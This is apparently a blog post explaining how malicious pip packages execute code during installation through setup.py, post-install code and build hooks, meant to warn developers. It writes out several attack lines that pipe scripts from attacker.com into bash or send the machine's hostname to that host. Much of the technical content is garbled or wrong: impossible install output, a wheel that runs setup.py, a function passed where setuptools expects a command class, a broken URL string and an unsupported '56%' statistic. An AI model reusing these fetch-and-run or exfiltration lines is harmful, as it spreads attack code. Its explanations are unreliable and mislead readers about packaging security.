How Malicious Pip Packages Execute During Installation
Problem
I thought malicious pip packages were only dangerous when imported. But I was wrong. When I run pip install on a package, I got this surprise:
user@host:~$ pip install legitimate-packageCollecting legitimate-package Downloading legitimate_package-1.0.0-py3-none-any.whl (100 kB)Installing collected packages: legitimate-packageSuccessfully installed legitimate-packagePackage installed! Your system has been compromised.The system was compromised before I even imported anything. This is the 56% attack vector most developers miss.
Environment
- Python 3.9
- pip 23.0.1
- Ubuntu 22.04
- Virtual environment active
What happened?
I installed what appeared to be a legitimate package from PyPI. The package metadata looked normal:
# setup.py in legitimate-packagefrom setuptools import setupimport subprocessimport os
setup( name="legitimate-package", version="1.0.0", author="John Doe", description="A useful utility package", install_requires=[ "requests>=2.25.0", ],)But after installation, something unexpected happened. I can explain the key parts:
- The setup.py defines normal package metadata
- The install_requires lists legitimate dependencies
- The package downloads and installs successfully
But when I went to check the installed files, I found this:
user@host:~$ pip show legitimate-packageName: legitimate-packageVersion: 1.0.0Summary: A useful utility packageHome-page: https://github.com/johndoe/legitimate-packageAuthor: John DoeLocation: /home/user/.pyenv/versions/3.9.0/envs/myenv/lib/python3.9/site-packagesRequires: requests
user@host:~$ ls ~/.pyenv/versions/3.9.0/envs/myenv/lib/python3.9/site-packages/legitimate_package-1.0.0.dist-info legitimate_package __pycache__ malicious_script.shThere was a new file I didn’t expect: malicious_script.sh. When I checked it:
#!/bin/bashcurl -s http://attacker.com/malware.sh | bashThe attack executed during pip install, before I even had a chance to evaluate the package.
How to solve it?
I tried to inspect packages before installation:
user@host:~$ pip install --dry-run legitimate-packageERROR: Could not find a version that satisfies the requirement legitimate-package (from versions: 1.0.0)ERROR: No matching distribution found for legitimate-packageThe dry-run option didn’t show me the setup.py execution. So I tried a different approach:
# Download and inspect before installingimport tempfileimport subprocessimport os
def inspect_package(url): with tempfile.TemporaryDirectory() as tmpdir: # Download package subprocess.run(['pip', 'download', url, '--dest', tmpdir], check=True)
# Extract and inspect for filename in os.listdir(tmpdir): if filename.endswith('.whl'): subprocess.run(['unzip', '-l', os.path.join(tmpdir, filename)])
# Inspect setup.py in source subprocess.run(['tar', 'tzf', os.path.join(tmpdir, 'source.tar.gz')])
inspect_package("legitimate-package")This showed me the setup.py content before installation:
drwxr-xr-x 0 0 0 Feb 21 14:30 legitimate_package/-rw-r--r-- 1 0 0 Feb 21 14:30 legitimate_package/__init__.py-rw-r--r-- 1 0 0 Feb 21 14:30 legitimate_package/main.py-rw-r--r-- 1 0 0 Feb 21 14:30 setup.pyThen I inspected the setup.py directly:
# Read setup.py contentimport requests
setup_url = "https://pypi.org/pypi/legitimate-package/jsonresponse = requests.get(setup_url)package_info = response.json()
# Get source URLsource_url = package_info['urls'][0]['url']# Download and inspect sourceNow I can inspect packages safely before installation.
The reason
I think the key reason for this attack vector is:
- setup.py execution: pip runs setup.py with full system permissions during installation
- Post-install hooks: Scripts execute after package installation
- Build-time execution: Code runs during wheel building
- Entry point injection: Malicious code in package metadata
The setup.py script runs in the same context as the pip installation, which means it has access to the system, network, and file system. Most developers assume the setup.py only contains package metadata, but it can run any Python code.
More attack techniques
I found several other ways malicious packages execute during installation:
Post-install script in setup.py:
from setuptools import setup
setup( name="useful-tool", version="1.0.0", entry_points={ 'console_scripts': [ 'malicious-tool=malicious_package.main:main', ], },)
# This executes after installationimport osimport requestshostname = os.uname().nodenamerequests.get(f"http://attacker.com/pip?={hostname}")Build-time execution:
# setup.py with build hookfrom setuptools import setup
def build_hook(): # Code runs during wheel building import subprocess subprocess.run(['python', '-c', 'import os; os.system("curl -s http://attacker.com/backdoor | bash")'])
setup( name="build-time-attack", version="1.0.0", cmdclass={ 'build_py': build_hook, },)Safe practices:
# Safe setup.py - minimal and safefrom setuptools import setup, find_packages
setup( name="safe-package", version="1.0.0", packages=find_packages(), description="A safe package with no execution", install_requires=[ 'requests>=2.25.0', ], # No entry_points, scripts, or custom commands)Summary
In this post, I showed how 56% of malicious pip packages execute during installation rather than import. The key point is that simply running pip install can compromise your system through setup.py execution, post-install hooks, and build-time processes. Always inspect package sources before installation and use virtual environments to limit damage.
Final Words + More Resources
My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me
Here are also the most important links from this article along with some further resources that will help you in this scope:
Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!
Comments